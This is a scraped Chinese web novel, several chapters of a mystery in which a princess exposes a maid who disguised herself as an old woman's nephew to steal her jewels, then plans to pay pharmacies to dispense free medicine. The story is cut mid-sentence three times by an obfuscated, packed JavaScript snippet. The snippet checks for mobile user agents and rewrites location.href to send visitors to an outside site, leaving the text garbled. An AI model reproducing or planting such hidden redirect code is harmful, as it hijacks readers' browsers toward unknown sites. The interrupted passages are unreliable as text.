姜柠惊讶道:“难道宋远卷款潜逃后,去了寺庙躲避?那他怎么会通晓佛经?” “依贫尼看,这两人只是长得相似,但不是同一个人。贫尼所说的那位年轻僧人,法名叫无念,已在真源寺出家两年了,应该不会是眼前这个通缉犯。” “师太,请您先别回去,留在衙门做个证人,等下陪我去隔壁县的真源寺看看。” “好。” 姜柠去县衙的客房,找到了金婆婆,问道:“金婆婆,你姐姐只有一个儿子吗?” 金婆婆道:“对,她也只有一个独生子,就是宋远。” “她会不会生了双胞胎,但另一个孩子遗失了?” “没有。” “那她生孩子时,你在现场吗?” “不在。姐姐生孩子那会,我在河东村,所以没有亲眼见到外甥出生。后来,是姐姐捎信给我,我才知道她生了儿子,取名宋远。” “这么说,你姐姐确实有可能生了双胞胎,但其他人不知道。” 42. 寺院(修) “这应该不可能吧,她要是生了双胞胎,为何不把两个孩子都养在身边?” “也许,是其中一个孩子身体太弱,所以丢掉了。你姐姐觉得没必要跟家人说双胞胎的事,反正她也只准备养一个。但被丢掉的那个孩子,可能被别人捡走,养活了。” “我不知道……但应该不会。就算双胞胎中的一个生下来就死了,那也肯定是埋在自家祖坟的,不会乱丢。如果只是其中一个身体弱,那更不会丢掉了,肯定会想尽办法去治,不幸治不好,死了,也会埋进祖坟的。” 姜柠觉得金婆婆言之有理,但一切还是要等到见到那个僧人时才能确定。 她对金婆婆道:“隔壁县有一个和尚,长得跟宋远很像,但不知道是不是宋远。金婆婆,你陪我去认认。” 金婆婆满怀希望:“好啊,去认认。我儿子怎么会跑到寺庙里去呢?” 姜柠想说,不论那个僧人是不是宋远,但绝对不是你儿子,但又觉得跟金婆婆讲不清楚。像这种老人,一旦认定某件事,就不会改观,除非有明明白白的证据摆在她面前。 于是,姜柠带着金婆婆和静心师太,还有几个衙役,一起出发去真源寺。 金婆婆年迈体虚,静心师太又刚走了远路回来,姜柠便让她们跟自己一起坐马车。 衙役们骑着马,一行人快速地往真源寺而去。 大约两个时辰后,便到了真源寺的山脚下。 真源寺也在山上,还需要走一段山路才能到达。 现在已经天黑了,还好姜柠早有准备,带了灯笼。 她让衙役们走在前面,提着灯笼,她带着金婆婆、静心师太走在后面。 金婆婆年老体虚,走了几级台阶便走不动了。 姜柠道:“金婆婆,再加把劲,难道你不想去寺庙里找你儿子了吗?” 金婆婆道:“我想,可是我实在走不动了……” 这时,衙役们提议轮流背金婆婆上去,姜柠便同意了。 于是,姜柠亲自提着灯笼,照亮前路,衙役们则轮流背着金婆婆,一个累了换另一个。 没过多久,众人便到了山顶的真源寺。 真源寺已经关门了,姜柠上前扣门,有一个小沙弥前来应门。 他问道:“几位施主为何晚上过来?僧众已经歇下了,要礼佛还请明日再来吧。” 姜柠道:“我们是隔壁县官府的人,有件案子需要询问你们寺里的僧人,还请行个方便。” 小沙弥赶紧开门,道:“请诸位檀越稍后,小僧马上去叫其他人起来。” 姜柠等人走了进去。小沙弥把客堂的门打开,点上灯,让他们去客堂稍坐。 过了一会,小沙弥回来道:“本寺所有的僧人都已聚集在大殿中,小僧带你们过去。” 大殿中灯火通明,站着二十多个僧人。 有个年长僧人道:“老衲便是真源寺的主持,不知诸位大人来此有何贵干?” 姜柠问道:“贵寺可有一个叫无念的禅师?” 住持道:“有。无念,你走上前来。” 一个年轻秀气的僧人走上前来,姜柠吓了一跳,因为这个僧人跟通缉令上的宋远真的很像。 金婆婆已经走了过去,对那僧人道:“儿啊,你怎么会跑到这里来,为什么不跟娘说一声?” 无念有些惊讶,道:“这位施主,贫僧不认得您……等等……” 无念仔细看了看金婆婆,惊讶道:“您不是栾伊城河东村的柳家姨母吗?您怎么知道我在这里?” 金婆婆喜极而泣:“儿啊,你终于肯认娘了……” “姨母,我是宋远,是您的外甥,不是您的儿子。听闻柳家表弟战死沙场,您是不是悲伤过度了,所以认错了人?姨母是我的至亲,我本该去您膝下尽孝,只是柳家表弟战死之时,我已出家几个月了,不便还俗。于是,我便只能做法事超度表弟的亡魂,并日夜为姨母祈福。” 金婆婆道:“儿啊,你在说什么,娘不明白啊……明明一个月前,你还来找我,我们一起住了一个月……你说你的亡魂附在了表兄身上,娘可高兴了,这下我们母子终于不用分开了……可是,为什么前几天你又偷偷跑了呢?他们都说你偷走了娘的珠宝,可是娘不相信……” 无念一头雾水,道:“姨母,您在说什么?我怎么不明白?我未曾去过您家,也不曾偷走什么东西。至于亡魂附.身一事,更是奇怪了。这是谁告诉您的?” “这……明明是你自己说的啊……你怎么会把头发剃了,你要当和尚,怎么也不跟娘商量一下……” 无念伸手扶着金婆婆,又是困惑,又是担忧,道:“姨母莫非得了癔症?住持会医术,还请住持帮忙看看。” 住持道:“也好,我先给她把把脉。” 住持给金婆婆把脉,金婆婆有些抗拒。 无念道:“姨母,住持的医术很好,您有什么病,都能给您治好。” 金婆婆只是一味地说道:“我没有癔症,我也没疯……” 过了一会,住持说道:“这位施主只是身体虚弱,但并不像患有癔症的样子。” 无念道:“那她为何一直说些疯话?” 姜柠插嘴道:“无念禅师,你说你一直待在真源寺里,未曾去过河东村找你姨母?” 无念:“是的。这几年,我父母相继去世,我十分悲伤,便散尽家财,出家为僧,至今已有两年了。这两年来,我都未曾下山,其他僧人可以为我作证。” 姜柠问其他僧人:“是这样吗?” 其他僧人纷纷答道:“是的,无念确实在真源寺两年了。而且采购的事不是他负责,他也没下过山。” “对,无念很有学问,且通晓佛经,一直是管理藏经阁的。” “我们每天都跟无念在一处念经修行,他确实没有离开过。” 住持也说道:“无念是两年前到真源寺出家的,还是老衲给他剃度的。” 姜柠道:“这就怪了……宋远分明在一个月前去找过金婆婆,也在她家住了一个月。这一点,河东村的村民都可以作证。可是,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146985|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在宋远,也就是无念禅师,却说自己这两年来从未离开过寺庙……这是怎么回事?” 无念道:“贫僧的俗名确实是宋远,但是贫僧确实未曾下山。金婆婆是贫僧的姨母,但她为何称我为儿子,我也不理解。” 姜柠问道:“难道你还有个双胞胎兄弟吗?” “没有。” “那你父母有没有生别的儿子?” “没有。” “也许,你父亲或者你母亲有私生子,但你不知道。也许,一个月前去找你姨母的,就是那个私生子。” 无念困惑道:“应该不会……贫僧的父母感情很好,一直在一处生活,应该不可能有私生子的。如果有,父亲或母亲肯定要隔三差五去看看那个孩子,时间长了,不可能不留下痕迹。 而且,如果私生子真的存在,在贫僧的父母过世的时候,他肯定会出现,来争夺家产。可是,父母的身后事都是贫僧一手办理,期间并未出现什么私生子。贫僧后来散尽家财,也没人出来反对。” 无念所言,倒也有道理。 姜柠问道:“除了你们寺院的僧人外,还有谁能证明你一直在寺院里?” 无念:“这个……若是经常来寺庙里的香客,可能能作证。只是现在太晚了,等道明天早上,有香客来时,几位大人可以问问看。” 姜柠道:“刚才上山时,我看见山脚下有几户人家。那些住户是不是经常来寺院?” “是的,那几户人家是为了礼佛方便,才搬到山脚下住的。他们中的好几人都是寺庙的义工,对寺中僧人很熟悉。” “既然这样,去问问他们就可以了,不必等到明天早上。” 姜柠派两个衙役下山,让他们问一下山脚的几户人家,无念是不是一直在寺院里。 在两个衙役回来前,她们只能在大殿候着。 姜柠道:“师父们不必拘束,都坐下吧。我们也坐着等候。” 僧人们便都坐下了。 大殿当中本来就有很多蒲团,他们一人坐一个蒲团,倒也方便。 大殿的角落里有桌椅,姜柠便坐了过去,跟僧人们隔开一段距离,免得他们拘束。 金婆婆却不肯坐下,而是走到宋远身边,问道:“阿远,你现在是阿远,还是我儿子湖山?” 无念道:“姨母,我一直是宋远,没有被湖山表弟的亡魂附.身。其实贫僧出家了,称您为姨母也不合适,我们现在只是僧人和香客的关系。” 金婆婆有些惊慌:“不……难道我儿子的亡魂离开了吗?什么时候离开的……阿远,现在连你也不认我了?那我既没有儿子,也没有外甥了?” 住持对无念说道:“无念,这位施主情绪不稳,你还是先称其为姨母吧,等她心情平复了再说。出家人无形无相,只要秉持着慈悲之心,临时改变一下称呼也无不可。” 无念道:“是。” 接着,他对金婆婆道:“姨母,我没有不认您,您别激动。” 金婆婆:“那你把湖山的魂魄叫回来……” 43. 热敷(修) “姨母,我只是普通人,没这个能力。” “可是,你不是说,湖山为国捐躯,有功德,神仙特许他的魂魄附在你身上吗?” “姨母,这话不是我说的,我也没有去找过您。肯定是有另外一个人假扮我。” “不,明明一模一样……一个月前来我家的就是你……” 无念虽然是出家人,但也不胜其烦,微微皱眉。 姜柠问道:“无念,这两年来,你有见过你的表弟柳湖山吗?” 无念惊讶道:“柳家表弟已死,我怎么会见过他?” “你说的是真的?” “真的,出家人不打诳语。” 姜柠也觉得,柳湖山不太可能还活着。 究竟是谁假扮宋远,去骗了金婆婆,还能知道金婆婆家以前的事?他这么做的目的是什么? 难道仅仅是为了偷走金婆婆家的珠宝? 那问题又来了,那个人怎么会知道金婆婆家有珠宝呢? 假设他通过一种特殊的方法知道,那他只需要趁金婆婆睡着的时候,去偷就可以了,为什么要大费周章,假扮成宋远,还谎称被柳湖山的魂魄附.身,在金婆婆家演了一个月的戏? 这样是不是太麻烦了一点? 他如果有这样的心计,这样的耐心,去偷盗或骗取富户家中的财产岂不是更好?任何一个富户,能偷的财产肯定比普通百姓家多。 他究竟为何会盯上金婆婆这样普通的人家呢? 姜柠觉得,这其中说不通的地方很多。 姜柠对无念道:“无念禅师,我想搜查一下你的房间,不知可不可以?” 无念道:“当然可以。贫僧身无长物,让官差们搜查一下,也可以自证清白了。” 姜柠便让几个衙役去搜查了无念的房间。 过了一会,几个衙役回来道:“启禀公主,无念禅师的房间并没有珠宝。” 姜柠心想,如果无念真的偷了珠宝,未必会放在自己的房间。 因此,姜柠对住持说道:“住持大师,不知可否让衙役们搜查一下全寺?” 住持道:“可以,诸位大人请自便。我们寺院一向不收香客的珠宝供养,所以全寺都是没有珠宝首饰的。如果能搜出来,说明这些珠宝一定是来历不明的,可能牵涉到一些案子。当然,未必跟金婆婆的案子有关。几位大人尽管调查便是。” 住持这么一说,事情倒是容易了。 他们从来不收珠宝供养,但凡搜出珠宝,要么是香客遗失的,要么是某个人偷来放在寺庙里的。 于是,姜柠让剩下的衙役们一起搜查寺庙,务必仔细些,但不能损坏寺里的东西。 大约半个时辰后,衙役们搜查完了,说是没有在寺庙里发现任何珠宝。 这么看来,无念,也就是宋远,作案的概率很低。 金婆婆见到的外甥“宋远”,很可能是另一个人。 去山脚住户家调查的两名衙役也回来了,他们对姜柠说道:“公主,我们询问了山脚的住户,他们说他们几乎每天都在寺院里,天天都能见到无念禅师,所以无念禅师肯定没有离开过寺庙。” 有这么多人作证,再加上寺庙里没有搜出赃物,眼前的宋远(无念)应该是无辜的。 那么,谁能假扮宋远? 这个人必须对宋远很熟悉,而且还知道金婆婆家的很多事…… 姜柠问金婆婆:“金婆婆,你还有其他外甥、侄子之类的吗?” 金婆婆道:“没有,我只有宋远这一个外甥。其他亲戚家生的都是女儿,也很少来往。” 姜柠又问无念:“无念禅师,有谁对你很熟悉,能够假扮你的?” 无念道:“对我很熟悉的……除了父母,还有家里的几个下人之外,就是邻居了吧。但是我认为要假扮一个人不是那么容易的。而且,如果是邻居假扮成我,去找我姨母,那其他邻居肯定会发现他不见了。再说,别人也没有假扮我的动机,因为他们不会知道我姨母家藏有珠宝。” 姜柠点头:“你说的有道理。” 金婆婆拉着无念,询问他这些年的情况。 虽然无念已经出家,金婆婆这样絮絮叨叨的不合适,但金婆婆才不管这么多,在她心里,无念只是她的外甥而已。 为了方便跟金婆婆说话,无念站了起来,把她带到一边,以免影响到其他僧人。 金婆婆说了一会话,忽然说道:“不对啊。” 无念问道:“哪里不对?” 金婆婆抬头看了看无念,又用手比了比两人的身高,道:“不对啊,你怎么突然变高了?” 无念道:“我没有突然变高,一直是这个身高。” “可是一个月前,你来找我的时候,你只比我高出一个头。现在你比我高出一个半头,还不是长高了?” “那是因为一个月前去找您的不是我,那个人的身高当然跟我不一样。” “啊,这……是这样吗……” 金婆婆现在才逐渐相信,一个月前去找她的人肯定是另外一个,而不是眼前的无念。 姜柠问道:“金婆婆,你再仔细回忆一下,去找您的那个人,跟眼前的无念有什么区别吗?除了身高之外。” 金婆婆:“我想想……那个人的骨架好像要小一些,手也粗糙一些,说话声音也不一样……” “除了这些之外,他还有什么奇怪的地方吗?” “有几天他会捡外面的石头回房,我问他捡石头做什么,他说随手捡的,拿来玩玩,很快就会丢掉。还有,我们村有一条河,现在天气热,很多男人都在河里洗澡,但是他从来不去。” 姜柠灵光一闪:“捡石头?他每天都捡吗?” “不是,只捡了几天,大部分时候没捡。” “他捡石头,是连续捡几天,还是断断续续地捡?” “好像是连续捡了五六天吧,后来就没捡了……公主,您问这个干什么?” “金婆婆,您还记不记得,您以前会在夏天捡石头回来?您是为了做什么?” 金婆婆有些不好意思地看了众位僧人一眼,道:“是的,以前我儿子会帮我捡一些石头,给我敷肚子,因为我肚子疼……” 姜柠道:“也许,那个人捡石头,也是同样的用途。” “怎么可能?我捡石头是为了治痛经的。” “也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146986|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许他也痛经呢?” “这……可他是个男人啊……” “您亲眼看见过他脱掉衣服的样子吗?” “这……没有……他好歹也是个成年人了,我怎么会去看他脱了衣服的模样呢?” “那您怎么就能判断,他不是个女人呢?” “可是……可是这不可能啊……他怎么看都是男的。” “他曾经在五六天里,每天都捡热石头回来,这很符合月事的时间。他也从来不下河洗澡,因为他不能被人看出是女儿身。” “这……这么说,来找我的那个假外甥,竟然是个女的?” “我也只是这么猜测。” “那她是什么人呢?” “这我就不知道了。你们家有没有什么女性亲属,在你家住过一段时间的?” 金婆婆:“没有。我和我姐姐都嫁得远,离娘家更远,所以亲戚之间走动很少。外甥宋远小时候从来没来过我家,几个侄女倒是来过几次,但住的时间都不长,不可能知道那么多事的。而且,侄女们都不认识长大后的宋远,因为她们十来岁的时候就跟着父母去很远的地方定居了。” “排除了亲戚,那还有什么人在你家长住过,但被你忽略了?” “我……我想不起来了……” 无念忽然说道:“姨母,每次我母亲去看您时,不是都会带着一个小丫环吗?我母亲看您一个人干活太辛苦,曾经把小丫环留在你家,让她帮你干活,后来再让她自己坐车回去。” 金婆婆想了一会,道:“确实有个叫翠喜的小丫环,在我家待过一阵。她的年纪跟宋远和我儿子差不多大,但干活很麻利……因为她是姐姐留下帮我干活的,我只把她当成下人,早就忘记她了……现在倒是想起来了。” 姜柠问道:“她在你们家住过多久?” “她在我家住过两次,每次都有一两个月。” “这么说,她是完全有可能知道你家很多事情的。” “可是……她不过是个小丫头,怎么可能假扮外甥宋远呢?” “她是宋家的丫环,对宋远一定很熟悉,模仿其仪态、说话方式不是难事。难的是她怎么变声,还有怎么化妆成宋远的模样。无念禅师,那个翠喜丫头去哪里了?” 无念道:“两年前,我决心出家,就把几个下人的卖身契都烧了,给他们一笔钱,让他们另谋生路了,翠喜也在其中。他们走后,我就不知他们的去向了。这两年我都在寺庙里,更加与世隔绝了,也没再见过翠喜。” “依你看,翠喜是个什么样的人?” “算是个合格的丫环吧,手脚麻利,干活勤快,其他的就没印象了。” “她在你们家主要负责什么?” “我们家也不算特别有钱,下人一共就三个,一个男仆,一个小丫环翠喜,还有一个是上了年纪的老嬷嬷。男仆负责重活,翠喜和老嬷嬷负责一些细活。但实际上,里里外外的很多事都要翠喜和那个老嬷嬷来做,她们每天都挺忙的。 具体的活有打扫卫生、做饭、跑腿、照顾年幼的我之类的。” “这么说,翠喜几乎每天都跟你有接触?那你为何对她没什么印象?” 44. 气味(修) “因为我都在忙自己的事,并不在意下人们在干什么。” 姜柠:“你对她不留心,她对你却留心了。你的一举一动,她都很熟悉。所以,她才能天衣无缝地模仿你。她在金婆婆家帮忙的时候,可能无意间发现了金婆婆藏珠宝的地方,一直记在心里。她从你家离开后,钱花完了,又无以为生,就想到了假扮你的主意。 她扮成你的模样,又谎称可以让柳湖山的鬼魂附身在自己身上,骗取金婆婆的信任。而她之所以能演出被柳湖山附.身的模样,是因为她小时候跟柳湖山相处过,熟知他的言行举止。 她在金婆婆家待了一个月,可能是因为没有找到合适的卷款潜逃的时机。因为她既要偷走珠宝,又要掩人耳目,难度还是有点大的。 在村子里,即便她起得很早,可能也会遇见同样起得早的村里人。所以,她等了一个月,才终于等到一个没人的时机,她便偷偷逃跑了。 这么看来,一切不合理的地方都有了解释。” 无念道:“公主言之有理,但是……遣散下人的时候,我给了她们每人五十两银子,够她们生活很久的。只要在银子花完之前,找一份正经工作,就能活下去了。翠喜为何会想到去偷我姨母家的珠宝呢?” 姜柠:“赚钱哪有偷钱快?” “这……翠喜不像是这样的人……” “她在你们家干活时,有没有偷窃的前科?” “我不清楚……这几个下人都是我母亲管理的,母亲也不会跟我说下人们的事。” “不管怎样,等抓到翠喜,一切都清楚了。翠喜从你家离开时,可有说过要去哪里?” “没有。” “她跟另外两个仆人是同乡吗?” “不是。翠喜是我母亲从人牙子手里买来的,她自己也不知道自己的家乡在哪。” “听说无念禅师挺有学问的,应该学过画画吧?” “是的。” “那请你画出翠喜的样子,我要通缉她。” 无念取来笔墨纸砚,很快就画出了翠喜的样子。 翠喜长得挺普通的,小眼睛,塌鼻梁,身材比一般的女孩要壮一些,所以假扮男人也能以假乱真。 姜柠对无念道:“麻烦大师多画几张,我要四处张贴。” 无念便继续提笔画了起来。 姜柠也会画画,她观察了一下画像,便开始临摹。 临摹要费劲一些,因为她以前没见过翠喜,只能根据画像来画,要画得传神并不容易。 好不容易临摹完一张,无念已经又画了两张。 他们两个一起画,很快就画了二十多张。 这时天也亮了,已经有香客来上香了。 姜柠道:“我会把这些画像张贴在本县和邻县,无念大师是本案的重要证人,可否跟我回县衙?我会以礼相待。” 无念道:“可以,等翠喜落网,贫僧再回到真源寺来便是。” 无念跟住持告别,收拾好行李,便跟着姜柠离开。 姜柠让衙役们拿着画像,张贴在栾伊城和真源寺所在的巨鹿城。 无念也骑马,衙役们让了一匹马给他,赶起路来倒挺方便的。 回到县衙后,姜柠让无念继续画翠喜的画像:“无念大师,辛苦你多画几张,这样说不定能快点找到她。” 无念道:“没问题。” 金婆婆却有些担忧地说:“能不能让阿远休息一会?他一晚上没睡……” 无念道:“姨母,我没事。等我画完之后,自然能睡觉。” “那……之前来找我的人既然是翠喜假扮的,那我儿子的魂魄是不是附在她身上了?你们找到她的时候,可千万要小心啊,别把我儿子的魂魄吓跑了……” 无念说道:“姨母,到现在您还不明白吗?翠喜在骗您,什么魂魄附.身,都是假的,她只是为了让您把她当成亲儿子。” “那……照这么说,我儿子的魂魄也不在她身上……那我儿子在哪里啊……” 金婆婆说着说着就哭了。 姜柠道:“金婆婆,人死不能复生,您节哀吧。” “不,一定有办法的,我儿子一定能回来……” 见金婆婆精神状态不对,姜柠便让人收拾一间客房给金婆婆住,并请大夫来给她医治。 她的亲侄子宋远(无念)在这里,也能稍稍安抚一下她的情绪。 姜柠觉得,跟这种缠杂不清的老人打交道很头疼,但也没办法。 无念又画了半天的画像,画好二十来张,交给姜柠,才去睡觉。 姜柠继续让人把这些画像张贴出去。 两天之后,终于有人揭榜了。 揭榜的人一共七八个,是一起来的。他们都长得奇形怪状,有又矮又胖像个球的,也有又高又瘦、几乎没什么肉、像根麻杆的,有抓耳挠腮、像只猴子的,还有脸上长满麻子、一笑起来露出非常不整齐的牙齿的。 他们还带着几只动物,有猴子、小狗、鹦鹉等。 姜柠又是害怕,又是好奇,问道:“你们是什么人?你们可知道,自己揭的是一张通缉令?你们真的见过这张通缉令上的人?” 为首的一个又矮又胖、像个球的男人说道:“大人,我们是一个杂技团,叫做‘惊奇杂技团’。我们一直走南闯北,表演杂技。画像上这个人我们认识,她叫翠喜,是两年前加入我们的。 当时,她正在找工作,但是没有找到满意的。我们对她说,杂技团的工钱很高,只是有点辛苦,她愿意加入的话我们很欢迎。 于是翠喜就加入了。她不会杂技,一开始要对她进行很多训练。她觉得训练太辛苦了,但我们一直让她坚持一下,等她能正式登台演出,就会有很多钱了。 于是,她慢慢学习,几个月后就跟我们一起表演了。 但是,她时不时地就说太累了,比在别人家做丫鬟还辛苦,想退出。 我们都用各种方法劝说她留下。 没想到,两个月前,她偷偷跑掉了,我们到处找也找不到,只好算了。 这段时间,我们一边到处表演,一边寻找翠喜,一边看看能不能拉其他人入伙。 今天,我们路过此地,看见翠喜的通缉令,就揭了榜。” 姜柠点头:“原来你们认识她,那你们知不知道她现在在哪里?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146987|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 杂技团的班主道:“我们不知道,不过我们杂技团的这些动物,对翠喜很熟悉,因为它们经常陪翠喜训练的。我们可以把动物放出去,如果它们找到了翠喜,会回来通知我们的。” 姜柠点头:“那就试试吧。如果真能找到翠喜,重重有赏。” 于是,班主就将猴子、鹦鹉、小狗等动物全都放了出去。 他和其他杂技团的成员,也都分散开来,一起帮忙寻找翠喜。 到了晚上,就有收获了。 杂技团的小狗在一个草垛中找到了翠喜。 这个草垛很大,堆在野外,没什么人注意。 翠喜在里面挖了个洞,暂时躲避,打算等风头过去再离开。 小狗鼻子灵,闻到了翠喜的气味,才找到了她。 在草垛里,还找到了翠喜偷走的珠宝,和她易容成宋远所用的衣服、材料等。 衙役们将翠喜带回了县衙。 姜柠审问翠喜,翠喜一开始还抵赖。她说这些珠宝,还有男式的衣服,都是她自己的东西。 于是,姜柠只好叫宋远出来。 见到宋远后,翠喜有一瞬间的慌张。 宋远问道:“翠喜,你还认得我吗?” 翠喜嘴硬:“不认得。” “你既然不认得我,怎么会假扮成我的样子,去欺骗我姨母?” “我不知道你在说什么。” 宋远皱了皱眉,心里有些生气。不过,他毕竟是出家人,没有发作出来。 姜柠叫来一个衙役,对他耳语几句。 衙役点了点头,往后堂而去。 过了一会,那个衙役跑了出来,对姜柠道:“公主,不好了,金婆婆急病攻心,去世了!” 姜柠故作惊讶:“什么?!” 衙役道:“金婆婆身体不好,一直在衙门里休养。刚才,她听说这一个月来跟她相处的不是她外甥,也不是她儿子,而是一个女人假扮的,她接受不了,当场就气死了!” 姜柠叹息道:“金婆婆走得可惜了……” 接着,姜柠对翠喜怒目而视:“翠喜,你害死了一条人命,如果你现在认罪,本公主还能从轻发落。如果再有半句隐瞒,立斩不赦!” 翠喜也吓坏了,喃喃道:“我……我不是故意的……我也不想害死她,只是想拿她家的珠宝而已……” 于是,她对自己的犯罪事实供认不讳。 包括她假扮成宋远的模样,去河东村欺骗金婆婆;谎称可以让柳湖山的鬼魂附在自己身上,进一步骗取金婆婆的信任;她知道珠宝的位置,想偷走珠宝,但等了一个月才有机会逃走等。 姜柠道:“你是如何假扮成宋远,却不露破绽的?” 翠喜道:“我在杂技团里学过变声和易容,虽然学得不精通,但骗骗普通人还是可以的。” 姜柠点头:“怪不得。” 杂技团的班主有些难受:“翠喜,我们教你这些技术,本想让你好好表演,没想到你却用来骗人。” 翠喜道:“我受够了!我不想一直这么辛苦!金婆婆家的珠宝,够我活几十年了,我为什么不去偷?反正她又不用!” 45. 药店(修) 姜柠被她的逻辑震惊了:“难道别人暂时不用的财物,你就可以去偷吗?” 翠喜:“我……我也只是一时贪心……我当时去金婆婆家,本来想着,如果她已经把珠宝用掉了,我就直接离开算了。结果,我发现她的珠宝根本没动过,以前什么样,后来还是什么样。她既然不用,那我当然想拿了……” 见翠喜这样轻描淡写,似乎没什么悔意,姜柠觉得应该给翠喜一个教训,让她为自己的行为付出代价。 姜柠问道:“你小时候在金婆婆家帮忙干活时,就看见过她藏珠宝的地方,对不对?” “对,但我当时没想着偷,我是在离开宋家后,觉得养活自己太辛苦了,才想到去偷金婆婆家的东西……我不是故意的,我只是想让自己活得轻松些……” 姜柠摇了摇头,道:“翠喜,你假扮成他人的模样,还以魂魄附.体之说欺骗金婆婆,盗走她家的财物,现在判你打二十大板,刺配宁州。” 翠喜又忧又喜:“不杀我了?” “你认罪得快,就不杀了。” “多谢公主……刺配宁州是什么意思?” “就是在你脸上刺字,并发配到宁州劳作。” 这时,宋远说道:“公主,贫僧有一事相求。翠喜毕竟是个女孩,且偷盗并非大错,若是在脸上刺字,以后怕她不好做人。不如就把字刺在胳膊上,她还能稍作遮掩。” 姜柠道:“也好。” 于是,衙役们打了翠喜二十大板,并在她胳膊上刺下“发配宁州”四字,然后涂上墨炭,这样就再也擦洗不掉。 如果其他百姓见了,就知道此人曾经犯罪,所以这是一辈子的耻辱烙印。 翠喜受完刑后,就一瘸一拐地上路了。 案情真相大白,姜柠让静心师太和无念都回去。 金婆婆跑了出来,对无念道:“阿远,你别走,你还俗陪姨母好不好?你没了娘,姨母没了儿子,我们正好相依为命……” 无念面露不忍,但还是坚决地说:“姨母,我已经决意出家,不想还俗。您有空可以来真源寺看我。” “为什么……为什么不还俗?” 无念觉得很难跟金婆婆解释明白,因此便说道:“我当了和尚,可以日夜为父母和湖山表弟祈福,让他们投个好胎。” “好,那你去……” 金婆婆终是松开了手。 无念也回了寺庙。 姜柠让人把金婆婆送回家。 这时,系统出现了:“姜柠,你破了这么复杂的案子,获得两千积分。现在的积分是:85200。” “离十万积分越来越近了……但是我还有四天就要去和亲了。今天快结束了,也就是说还有三天。” “姜柠,别泄气,你去了北胤,也可以继续攒积分的嘛。” “可我不想去北胤,我连男主的面都不想见。” “可是,要在三天之内攒够一万五积分,还是有点太极限了……” “嗯,我明白……算了,随机应变吧。” 晚上,姜柠打开了夸夸群。 【姜柠:有什么办法能在三天内攒够一万五千积分?挺急的。】 【樱桃小完犊子:试试施舍药品?】 【姜柠:我的陪嫁里有一些药品,但我不知道谁需要它。而且药材的种类也不多。】 【樱桃小完犊子:你不用拿自己陪嫁里的药品。有很多百姓不是有些小病小痛的舍不得开药吗,你给药房的老板一些钱,全城百姓无论谁来开药,都让老板免费给他。这样,会有更多的百姓领到他们所需要的药品。】 【姜柠:好主意,明天去试试。】 【活人微死:姜柠真是马不停蹄地用功啊,相比之下我好像得了鸡.瘟一样,天天生无可恋的。】 【你已被群主移出群聊:哈哈哈哈哈哈】 【回笼教教主:哈哈哈哈哈】 【感觉尸体暖暖的:哈哈哈哈哈】 【樱桃小完犊子:姜柠这两天在干什么?】 【姜柠:查了一个奇怪的案子,可谓是百转千回。】 姜柠把金婆婆的案子简单描述了一下,引起了众人的崇拜。 【感觉尸体暖暖的:哇,姜柠好聪明!】 【只涨工资不长肉:这是人类该有的智商吗?你们又瞒着我偷偷进化了?】 【姜柠:哈哈哈哈哈】 【有趣的灵魂一百多斤:不敢相信姜柠才十八岁,跟你一比我像个AI】 【姜柠:这个符号是什么?】 【有趣的灵魂一百多斤:哈哈,不用在意】 【你已被群主移出群聊:话说那个翠喜也真绝,竟然为了一点点珠宝,布这么大一个局,装了一个月,也真难为她了】 【樱桃小完犊子:那些珠宝价值一千多两,如果省着点用,够她用几十年了,布这么大一个局也值得。】 【活人微死:这脑子用在上班上多好】 【只涨工资不长肉:她就是不想上班才这样的,哈哈哈哈哈哈】 【回笼教教主:论人为了不上班能有多拼】 【你已被群主移出群聊:由此可见,一直存钱不花也是不好的,容易被贼惦记】 【只涨工资不长肉:说得对,我又下单了两条裙子~】 众人又聊了一会,便各自睡觉去了。 第二天,姜柠问余县丞:“城里一共有几间药房?” 余县丞:“十几家吧。” “能不能劳烦余县丞在地图上标注一下?” “公主要买药?” “不是,我想送钱给这些药房的掌柜,让他们给全城百姓免费配药,这样很多百姓都能得到对症的药了,一些小病小痛也无需忍着了。” 余县丞很惊讶:“公主,您知道您的嫁妆所剩不多了吧?” “我知道。” “您知道您马上就要离开栾伊城了吧?” “知道。” “您知道钱对人很重要吧?” “是的,我知道。” 余县丞伸出两根手指头:“这是几?” “二。” “栾伊城的百姓对您没有恩惠,也不能给您提供什么帮助,您清楚吗?” “我清楚,我明白,我知道自己在做什么。我没有傻,余县丞您不要再测试我了。我刚才所说的话,完全出自我的本心,没有任何人胁迫我。” “可是……可是您是公主,偶尔嚣张跋扈、自私自利一点别人也能理解的。” “公主也不是只有一种类型嘛。” “这真是……太令人感动了 